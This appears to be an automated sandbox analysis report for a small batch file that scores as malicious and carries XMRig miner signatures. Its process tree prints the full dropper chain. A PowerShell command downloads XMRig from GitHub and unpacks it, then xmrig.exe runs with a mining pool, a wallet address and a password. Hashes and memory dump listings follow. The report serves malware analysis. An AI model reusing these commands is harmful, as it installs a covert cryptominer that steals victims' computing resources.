Analysis

  • max time kernel
    1806s
  • max time network
    1822s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 21:13

General

  • Target

    tesy - Copy (6).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (6).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4240
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4580
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3660

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    484421df55a12c323ffe6833f5e95609

    SHA1

    122f30438fe2b19b8af496e9260500af11154369

    SHA256

    901405414fc4ae5cec56ec0a3e1dd8a8b5d533881dc1007e58a759f620f02deb

    SHA512

    1b97f65060ee1d52d8449aa0da7c4f49ead899dda580444384ac974de77446c3682fd10cf9abd8ba305925d24ec7e8c65987e83b28707bcc0706859625d51f50

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ichpf2z3.bss.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    1.3MB

    MD5

    08b05a06b3b9a34277733a4e09a43401

    SHA1

    c15ef91b7656764bc26764683bff795fa63be15c

    SHA256

    559615048f0416d2c2b5aa07d8a259873dbe026cc8830cb2398df34ee62b4985

    SHA512

    be5c9a46f1de10b5843ed87e4e60a6212bd129e3a76835c1eff2676bbc8f97c1f461ee5d4ee4c9103e7df61d1fd08f7b3ed29ee39b4105dd554692ce46ba0723

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    368KB

    MD5

    47d8c477c687acc45e19b2ad0b4d60d5

    SHA1

    d162f948d0fba5b03669923643d95ca4b217070f

    SHA256

    cc2635a28c751e7bb10bd7d4b724b9718dd5efd9e2ff418b5d34a7a0c7f84f70

    SHA512

    0cbaf2fb8eeb2b79a9a1de33f9ab65cf66fa456d1831a69537c8493b3ef9c718537ece5425184f3164112a964275a5ac38d6ef29943a71a2eec83fe8bdf64319

  • memory/3660-146-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-140-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-190-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-189-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-188-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-187-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-186-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-185-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-184-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-183-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-182-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-181-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-180-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-179-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-178-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-177-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-123-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-124-0x00000268B3D80000-0x00000268B3DC0000-memory.dmp

    Filesize

    256KB

  • memory/3660-125-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-126-0x00000268B24B0000-0x00000268B24D0000-memory.dmp

    Filesize

    128KB

  • memory/3660-127-0x0000026946780000-0x00000269467A0000-memory.dmp

    Filesize

    128KB

  • memory/3660-128-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-129-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-130-0x00000268B24B0000-0x00000268B24D0000-memory.dmp

    Filesize

    128KB

  • memory/3660-131-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-132-0x0000026946780000-0x00000269467A0000-memory.dmp

    Filesize

    128KB

  • memory/3660-133-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-134-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-135-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-136-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-137-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-138-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-139-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-151-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-141-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-142-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-143-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-144-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-145-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-122-0x00000268B2460000-0x00000268B2480000-memory.dmp

    Filesize

    128KB

  • memory/3660-147-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-148-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-176-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-150-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-149-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-152-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-153-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-154-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-155-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-156-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-157-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-158-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-159-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-160-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-161-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-162-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-163-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-164-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-165-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-166-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-167-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-168-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-169-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-170-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-171-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-172-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-173-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-174-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-175-0x00007FF6AE300000-0x00007FF6AEE03000-memory.dmp

    Filesize

    11.0MB

  • memory/4240-10-0x0000017A1C8D0000-0x0000017A1C946000-memory.dmp

    Filesize

    472KB

  • memory/4240-5-0x00007FFEF3C10000-0x00007FFEF45FC000-memory.dmp

    Filesize

    9.9MB

  • memory/4240-6-0x0000017A1C6D0000-0x0000017A1C6E0000-memory.dmp

    Filesize

    64KB

  • memory/4240-7-0x0000017A1C6D0000-0x0000017A1C6E0000-memory.dmp

    Filesize

    64KB

  • memory/4240-28-0x0000017A1C6D0000-0x0000017A1C6E0000-memory.dmp

    Filesize

    64KB

  • memory/4240-26-0x0000017A1C6D0000-0x0000017A1C6E0000-memory.dmp

    Filesize

    64KB

  • memory/4240-4-0x0000017A1C720000-0x0000017A1C742000-memory.dmp

    Filesize

    136KB

  • memory/4240-27-0x00007FFEF3C10000-0x00007FFEF45FC000-memory.dmp

    Filesize

    9.9MB

  • memory/4240-33-0x00007FFEF3C10000-0x00007FFEF45FC000-memory.dmp

    Filesize

    9.9MB

  • memory/4580-66-0x00000237E4BB0000-0x00000237E4BC0000-memory.dmp

    Filesize

    64KB

  • memory/4580-40-0x00000237E4BB0000-0x00000237E4BC0000-memory.dmp

    Filesize

    64KB

  • memory/4580-41-0x00000237E4BB0000-0x00000237E4BC0000-memory.dmp

    Filesize

    64KB

  • memory/4580-39-0x00007FFEF3C10000-0x00007FFEF45FC000-memory.dmp

    Filesize

    9.9MB

  • memory/4580-80-0x00000237E4B80000-0x00000237E4B92000-memory.dmp

    Filesize

    72KB

  • memory/4580-93-0x00000237CC900000-0x00000237CC90A000-memory.dmp

    Filesize

    40KB

  • memory/4580-119-0x00007FFEF3C10000-0x00007FFEF45FC000-memory.dmp

    Filesize

    9.9MB